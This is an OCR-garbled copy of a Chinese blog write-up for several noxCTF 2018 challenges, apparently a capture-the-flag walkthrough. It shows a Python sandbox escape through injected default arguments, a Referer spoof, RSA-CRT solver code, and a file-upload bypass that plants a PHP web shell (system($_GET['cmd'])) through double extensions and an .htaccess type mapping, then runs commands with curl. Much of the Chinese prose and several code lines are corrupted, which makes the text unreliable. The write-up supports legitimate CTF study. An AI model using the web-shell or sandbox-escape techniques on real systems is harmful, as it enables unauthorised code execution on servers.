noxCTF#B 43 writeup 0B QAQ)

weixin 34393428 o F 2018-09-20 13:19:00 K47 o 265 k e
X EHRZ:  php python shell

JRSCEE#E:  hitpsy/yq.aliyun.convarticles/649036
AL

I

A H RiFK: https://bbs.ichungiu.com/thread-46059-1-1.html

=T RTnoxCTFHHIF AR B, H7ECKEQrz),H LB IERMA L RQAQ)FH 28 IR,
i ALK R — T (thx)

—: Python for fun

Challenge 116 Solves

Python for fun
292

Welcome to noxale's online python class!!! You can try it for free for a2
limited time and learn basic programming in python 3.
http:/chal.noxale.com:3000

Flag Submit



https://blog.csdn.net/weixin_34393428
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=shell&t=blog&o=vip&s=&l=&f=&viparticle=
https://yq.aliyun.com/articles/649036
file:///C:/Users/ADMINI~1.ZB-/AppData/Local/Temp/%25E6%259C%25AC%25E6%2596%2587%25E9%25A6%2596%25E5%258F%2591i%25E6%2598%25A5%25E7%25A7%258B%25EF%25BC%259Ahttps%253A//bbs.ichunqiu.com/thread-46059-1-1.html

MWK B noxale MTELpythontRFEN! & AT LAZEA FRAET [ N A 3 i B HEpython 3H2E AR Y
#2: http://chal.noxale.com:8000/

B E AR REH T #python 3. 0HAEBERE, "TLEREEABIEX, "RIBRE'S RATEIEBH
& 'match signature to body'3, EANEBARATFRMNBEEpython IBBHSEFFEREE.

BRIVREBEBEERBR B ZENH L.

def fun(a,b,c=print('7' * 7)):
c=a+b
return c

print(fun(10, 12) == 22)
7777777
True

c=a+h

return ¢

SUBMIT

def funfa, b, cprint {7 * 7)) :
c=a+th

return ¢

print{(fun(io, 12) = 22

TITTTeT

‘

R, EPAT T RAKAREIATEN T 7777777,
AT THE B R TR

def fun(a,b,c=print(__import_ ('os').listdir())):
c=a+b
return c

print(fun(10, 12) == 22)

['db.sqlite3', 'learn_python', 'python_ctf thing', 'Dockerfile', 'FLAG', 'manage.py', 'requirements.txt', '
True


http://chal.noxale.com:8000/

c=a+th

return c

SUBMIT

def fumfa,b, coprint {_impert  (Cog’ ). listdir()):
c=a+th

return

print(funflo, 12) = 22

["FLAG", "templates’, "manage.py’, ' learn python.py’, "python ctf thing' ]

‘

HREEFH AN flagt i IBRER:

def fun(a,b,c=print(open('FLAG', 'r"').read())):
c=a+b
return c

print(fun(10, 12) == 22)

noxCTF{py7hon_15_4w350m3}

True

c=a+h

return c

SUBMIT

def fimla, b, cprint (open(’ FLAG" "' ). read 003 «
c=a+h

return ¢

print(fun(l10, 12) = 22

noxCTF {pyThin 15_6r347}
True



—: Read Between The Lines

Challenge 74 Solves

Read Between The Lines
452

My boss promised me that he would give me a raise if | solve his
challenge
Have | already mentionad | suck in challenges?

Submit

TEXMHE, BREZXHR— oz ip EAFEFM.
fFHLinuxir4:

$ file message.code

message.code: gzipEHEEHE, £ HE"

$ mv message.code message.code.gz

S gzip -d message.code

BEXMHKAR, RED RN, RANZERBERE LK Iavascripti
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| || =fes

lements  Console  Sources Network Performance Memory  Application Security Audits :

p ¥ | Filter Default levels ¥ # Group similar 1 hidden

DI+[10+TT+ 0+ 1+ 0+ 11+ O L+ LD T+ DD [+ 1HCD T+ D000 ) [+ + D1+ [+ 0101+ LI+ D D+ [0+ 01+ LD+ DD O+
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HIEER, HAELBBERER(QAQ) CTF A A L i i A I 1 4 A5 A1 0 25
FEIX AN 38K ) Bk R B T gt v AR BIARAS L. https://viibard.github.io/whitespace/
EREBEREOINF R BT, RSBIER:

example/hworld.ws ————— Debug

Run] [Optimize] [X]Highlight [Download] Filetype: [Whitespace] [ HELP ] [Run] [Step][Stop]

push 0
push 125
push 69
push 67
push 65
push 80
push 83
push 69
push 84
push 73
push 72
push 87
push 115
push 73
push 107
push 99
push 117
push 70

Unexpected EOF
Outpuﬂ Console Memory

push 97
push 68

[Clear]
noxCTF {DaFuckIsWHITESPACE}

=: Blind Date

push 123
push 70
push 84
push 67
push 120
oush 111



https://www.tuicool.com/articles/2E3INnm
https://vii5ard.github.io/whitespace/

Challenge 51 Solves

Blind Date
573

My mom got me a date with someone! she sent me animage but i
cannot open it. | don't want it to be a blind date. Can you help me?

Z BlindDatej...

Submit

A SRR, odBANE R B FH R ALK

thore@thore-pc:
e@ff

FEE T IPECXAAL#t G, AT UMREEE 7 - WA BN .

FHR LT L, FF D8 FF EORER—A2FTHME, HTREBRKE. BT RRIFIFRIRAF4A 46
49 46 00.

FANEBIEMNR HH TANFHHRIFBEN K.

-+
n

open ('BlindDate.jpeg',; “rb”)
f.read O
f.close O

data = "'
for i in range (@, len (s) , 4) :
data + = s [i: i +4 ] [:: -1 ]

nf = open ('blind.jpeg', 'wb')
nf.write (data)

I AR R R BE B ANblind. jpegs.


https://en.wikipedia.org/wiki/JPEG_File_Interchange_Format#File_format_structure

TR BN B BOR R — L HUE:

thore@thore-pc:~/CTF/n TF/BlindDate$ strings

—AMbase6dFH
B Li4gICAUICAULiAgLi4gICAUICAULiAgLi4gICAUICAULiAgLiAgGLi4NCi4gICAGLiAgGIC4gICAGIC)

BRI

111} F

© o o o o o o o

XFREXMEZLERSEE: FAC3P4LM.
BTk, BAMEMAbinwalkiEBblind. jpeg¥F M zipXHF-

HHzip XHERAFEEN MRMNELBIECHFENER, ZRX—TUARTUEE B —
M flag. txt XM

X R EbrainfuckRIBHBITETERERS.
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G AR T B Brainfuck

Brainfuck/Ook! Obfuscation/Encoding

This tool can run programs written in the W Brainfuck and Ook! programming
languages and display the output.

It can also take a plain text and obfuscate it as source code of a simple program of
the above languages.

All the hard work (like actually understanding how those languages work) was done
by Daniel Lorch and his Brainfuck interpreter in PHP

A [ A
=] e R, 4, R, S —— e, ————— -

s T === A, L —
SHAHHH, HH e ——— R R R mam o oS o
o e T e o

S B O HHHH, S

£ 4R |

Text to Ook! || Text to short Ock! | | Ookl to Text |
Text to Brainfuck | | Brainfuck to Text |

The source can be found at github.

REZERREER:


https://www.splitbrain.org/services/ook

Brainfuck/Ook! Obfuscation/Encoding

This tool can run programs written in the W Brainfuck and Ook! programming

languages and display the output.

It can also take a plain text and obfuscate it as source code of a simple program of

the above languages.

All the hard work (like actually understanding how those languages work) was done
by Daniel Lorch and his Brainfuck interpreter in PHP

Text to Ook! || Text to short Ock! | | Ookl to Text |
Text to Brainfuck | | Brainfuck to Text |

The source can be found at github.

BEHEER: noxCTF{WOuld yOu bllnd d4t3 4 bllnd d4t3?})

Pq. Reference

Challenge 301 Sclves

Reference
100

What is your reference again?

http:/chal.noxale.com:5000

BATE R R B S BRAR:
http://chal.noxale.com:5000/

TR TUE, FATE B — A fa] B P

Submit

RAEHISC Rk E A


http://chal.noxale.com:5000/

@ chal.noxale.com:5000

BHTMLCR 288, BATRI T —MNHAPRICHEEE /js/index. s

@ chal.noxale.com:5000/js/index.js

$( document ).ready(function() {
$.ajax{{
url: "check_from_google",
data: NaN,
success: function(result) {
$("#status") .himl{"hello old friend! " + atob(result})
3

d;taType: NaN
}) . fail(function() {
$("#status").html("where the **** did you come from?")

ERGRER, BR—NajaxB, BEREFurlfiE RKiIR FE KIh 3 0] §eFRiC B8R / check from googles
MBREARRE R e 1 BFRHERT, /check from googleBATUAKEIERIFLFHIHTTP Referer FREREN

url /check from google.

JaBburpBt AT BA, fIRIERFHBINH B www. google.comfBfrefererFE,



Burp Intruder Repeater Window Help

[Target Proxy | Spider T Scanner T Intruder TReDeater T Sequencer T Decoder T Comparer T Extender T Project options T User options | Alerts

L

Go Cancel <|v >

Target: http://chal.noxale.com:5000 w ?

Request Response
Raw | Headers | Hex Raw | Headers | Hex
GET /check_from_google HTTP/1.1 A HTTP/1.1 200 OK &
Host: chal.noxale.com:5080 - Server: nginx/1.13.12 a
User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:59.0) Gecko/20100101 Firefox/59.8 Date: Sat, 08 Sep 2018 16:52:44 GMT
Accept: text/html,application/xhtml+xnl,application/xml;g=0.9,%/%;q=0.8 Content-Type: text/html: charset=utf-8
Accept-Language: en-US.en;g=0.5 Content-Length: 57
Accept-Encoding: gzip, deflate Connection: close
Connection: close
Upgrade-Insecure-Requests: 1 bm2401RGe0cwb2dMM18xc180bF cOWXNFYXIFYNTVFISM2YZCjNuYzN9
Cache-Control: max-age=0
Referer: www.google.com
- 3
v v
? = o - Tvpe 2 search term 0 matches ? = + = Tyipe @ search term 0 matches

Dane

EAVEH U TA RS BREETTP 200 OK

bm94Q1RGe@cwb2dMM18xc180@bF cOWXNTVXIFYJNTVFOSM2YzcjNuYzN9

18 Fl base64 B 7] #E 47 fif 35 «

noxCTF{GOogL3_1s 41W4Ys_Ur_b3ST_R3f3r3nc3}

Fi: Chop Suey

215 bytes | 232 millis



Challenge 235 Solves

Chop Suey
118

Today | ate in a Chinese restaurant and got myself a fortune cookie.
These things usually contain a note with a nice sentence or phrase, but
mine had numbers in it instead! Can you help me find the meaning of
the numbers?

p=
863763376725700856709965348654109117132049150943361544753
q=
126406749739964727691760479371708834209270508214800105815
dp =
650079570221633462110904235119326153065004384105625293093
dq =
783472263673553449019532580384470672380574033551303889137
c=
247223054038873820735673164676490806626315529059602293990

Submit

FLE Hd

Today I ate in a Chinese restaurant and got myself a fortune cookie. These
things usually contain a note with a nice sentence or phrase, but mine had

numbers in it instead! Can you help me find the meaning of the numbers?

8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445

o
I

1264067497399647276917604793717088342092705082148001058159313713537247388059561373733763062975257734614

Q
1

650079570221683462110904235119326153065004384105625293093094966335862501688183284072806602615026469307

dp

dq 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963

Cc = 2472230540388738207356731646764908066263155290596022939907910799560215441817605633580063888752761416407

Fit, MRAECLEITHERRER, BLEEESMEXFMRsAMAEAR.

B
dp = d (mod p-1)
dg = d (mod g-1)

XA AR LR/ R TR AMBIEER, WREFApMq, REFTEHTEES, MAERTEE—
THEEBRPRXTRSAR



A5 FH P [ 7 % B B ]

HTAIE L RARAVRM T ool ! AT RN ER 1 Hginy
HE ginv

ginv = modinv(q, p)

m2 = pow(c, dq, Q)

ml = pow(c, dp, p)

h = (qginv * (m1 - m2)) % p
m=m2+ h *q

STERHA .

from gmpy2 import *
p=863763376725700856709965348654109117132049150943361544753916243791124417588566780639841179052408355344515
q=126406749739964727691760479371708834209270508214800105815931371353724738805956137373376306297525773461470
dp=65007957022168346211090423511932615306500438410562529309309496633586250168818328407280660261502646930761
dq=78347226367355344901953258038647067238057403355130388913791176043888168367455609809825679567351220196300
c=247223054038873820735673164676490806626315529059602293990791079956021544181760563358006388875276141640735
def egcd(a, b):
if a ==
return (b, 0, 1)
else:
g, ¥, x = egcd(b % a, a)
return (g, x - (b // a) * vy, y)
def modinv(a, m):
g, X, y = egcd(a, m)
if g 1= 1:
raise Exception('modular inverse does not exist')
else:
return x % m
ginv = modinv(qg, p)

m2 = pow(c, dq, q)
ml = pow(c, dp, p)
h = (qinv * (m1 - m2)) % p

m=m2+ h * q
print(m)

txt = hex(m)[2:]
print ''.join([chr(int(''.join(c), 16)) for c in zip(txt[@::2],txt[1::2])])


https://en.wikipedia.org/wiki/RSA_%2528cryptosystem%2529

(txt[@::2],txt[1::2])])

75:  MyFileUploader
HRMERHE—F, LB LG R:
B FiZ Mk R R b . iEBRAIBIE — AN php shell 3, ERELLFNdummy . txt

dummy . txt

<?php
system($_GET['cmd']);
?>

Ra, =l ELEe

C @® F=&==Z | chalnoxale.com:8079

S o W =aasw W 3F am

It is the most secure uploading server in the world!

File: dummy.txt
There is no .png/.jpg/.gif in that file name

HIERATUEH, EAN EERXHERFEXHBEE . png / .dpg / .gif. WEBATKEdummy . txt XHEA
%%?'\Jdummy .png. txt FERER LAE

File: dummy.png.txt

Image uploaded to: <a href='uploads/dummy.png.txt'>Here</a>

B TREATE— T EAEZJEHIML:



$ curl 'http://chal.noxale.com:8079/uploads/dummy.png.txt"’
<?php

system($_GET['cmd']);

?>

BRAMEBRBMNCHI bt BATKEEE/ uploads / THAR

&« C @ A== | chal.noxale.com:8079/uploads/

i mR BEEEE CTF EE Wechall BE =ili08 teE

Index of /uploads

Name Last modified Size Description

& Parent Directory )

1.jpg.phtml 2018-09-18 07:07 19
C3 Don't open/ 2018-09-05 16:41 -
a.png.cybr3 2018-09-13 06:52 28
asd.gif.PhP 2018-09-13 20:45 8

)

cmdpng.nhtml  2018-09-13 21:02 345
exploitjpg.phtml  2018-09-15 11:53 29
get-cmdPNG  2018-09-14 06:07 13K
payload.png.hhtml 2018-09-13 21:06 65
payload.png. 65
testjpgphtml  2018-09-13 09:09 6.6K
testpng.cyb3ra  2018-09-16 12:54 13

)

)

R}
=
fx)
=
]
o
o
=
=
e
=
=
—+
‘i
P
(=]
—
g
[e=]
0
L
w
ro
—
=
=

)

Apache/2.4.29 (Ubuntu) Server at chalnoxale.com Port 8079

BATTUE R XEEA — N2 N Don't open/"MHF. iLRITEEBERMH 4

€ > C @ F=== | chalnoxale.com:8079/uploads/Don't%200pen/

| EE=2 CTF i Wechall E =i o=

Index of /uploads/Don’t open

Name Last modified Size Description

& Parent Directory, -

Wzm&og-os 16:45 56

Apaches/2.4.29 (Ubuntu) Server at chal.noxale.com Port 8079

Options +Indexes
AddType application/x-httpd-php .cyb3r

MX B LAE RS 234 FI puPIB /T B Z N . cyb3r KIS,



H R TR ER M Edr 4 Nrce.png. cyb3r HEH bE, BB

& > C @ F==£ | chalnoxale.com:8079
EE | =22 CTE e Wechall R EEA thE

It is the most secure uploading server in the world!

BROWSE

SUBMIT =

File: rce.png.cyb3r
Image uploaded to: Here

BATT LR FE H, BATET) A2 T AT she 1 130#F . FATFERIMIA! 1!
B4: F—T http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=whoami

&€ > C @ # == | chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=whoami
iR EEx2 CTF = Wechall = EifiN =

www-data

M J5: http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=pwd

&€ > C @ F== | chalnoxale.com:8079/uploads/rce.png.cyb3r?cmd=pwd
i EA EE=2 CTF == Wechall i EilN =3

Svarfwww/html/uploads

TR L sty ml Al LS B AR Z K& 2


http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=whoami
http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=pwd

$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=1s"
1.jpg

1.jpg%ke0php

1.php%00jpg

1.php.jpg

1jpg

2.php%00jpg

2.php.jpg

2.php;.Jjpg

7H3-FL4G-1S-H3r3

Don't open

dummy .png.txt

exec.png.cyb3r

gif.phpjpg

gifjpg

rce.png.cyb3r

shell.png.cyb3r

shell.png.phtml

uploadTest.txt

$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=file%207H3-FL4G-1S-H3r3"
7H3-FL4G-1S-H3r3: directory

$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=1s%207H3-FL4G-1S-H3r3"
noxCTF{N3V3R_7RU57_@7H3R5}

mEHREIER: noxCTF{N3V3R_7RU57_07H3R5}
BTk
FTFF8E4E: http://chal.noxale.com:8079

It is the most secure uploading server in the world!

BROWSE

SUBMIT >

UEBRMNZR EERXNEEATEN 22k RTe. JpgBI A

It is the most secure uploading server in the world!

BROWSE

SUBMIT >

File: kitten.jpg
Image uploaded to: Here

EEMBATFEZIR, ERABARM T MRS 5 LR B E B
#: http://chal.noxale.com:8079/uploads/kittens.jpg

ERRXFBBEZH, ERMNZAEE—NEFEHEKwebshel 14 Hshell . php. BEER_ERATexel#
o


http://chal.noxale.com:8079
http://chal.noxale.com:8079/uploads/kittens.jpg
https://github.com/Arrexel/phpbash

It is the most secure uploading server in the world!

BROWSE
SUBMIT =

File: shell
There is no .png/.jpg/.gif in that file name

ERERTAANERZ G, REBBRAFTERE png, . jpoB¥ . gi (XML THMEMIE. FkS %
i¥tevilshell.jpg.phplEAH

N> B phpfURFET XHEBRIRE, ERENER. BR—A 1,

RIERERRER /uploads, HKE|T —MEADo not openlIBF. HFEEBAT? BITIFE.
BEAZFE-ANEA: .htaccessIMF, ABENRAITERFIRKKHEB:

Options +Indexes
AddType application/x-httpd-php .cyb3r

XERE AT UL A ST B4 S RIISUE . cyb3 r 0K RS 24 1E NphpRAD AL .

BT RMBGBHEBET FZ

A RAIphpbash shellE 4 Ashell.png.cyb3r, RFEEE.
: /var fwa/html /uploads# id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
s/var/wai/html/uploads# 1s -al

total 52
drwx rwx rwx

1 root root 47 Sep 9 14:36 .

xr-x 1 root root

-rW-rW-r-- 1 root root 5 16:45 .gitkeep

dr--r--r-- 1 root root 5 16:41 7H3-FL4G-15-H3r3
dr-xr-xr-x 1 root root 22 Sep 5 16:41 Don't open

-rW-r--r-- 1 www-data www-data 40946 Sep 9 14:34 kitten.jpg
-rW-r--r-- 1 www-data www-data 6640 Sep 9 14:36 shell.png.cyb3r
-rW-rwW-r-- 1 root root 6 Sep 5 16:45 uploadTest.txt

MBI T ! MERRZ.. . AR SMBIRING LEKE.
K 8387 — webshell,
MAELLERAIFIH X AN Z A THI-FLAG-1S-H3r3 XX BEHBI A A :

s/var/wai/html/uploads# 1s 7H3-FL4G-15-H3r3/

noxCTF{N3V3R_7RU57 @7H3R5}

BJ5%%: noxCTF{N3V3R_7RU57_07H3R5}

CTF RSAR % W B i 75 ¥ :

CTF e 78 £ i ] A 5 F49 i 5% 00 Jom 4 -


https://github.com/Arrexel/phpbash
https://www.anquanke.com/post/id/84632
https://www.tuicool.com/articles/2E3INnm

RSAZ hEBF A : hitps://en.wikipedia.org/wiki/RSA (cryptosystem)

Brainfuck/Ook! Obfuscation/Encoding: https://www.splitbrain.org/services/ook


https://en.wikipedia.org/wiki/RSA_%2528cryptosystem%2529
https://www.splitbrain.org/services/ook
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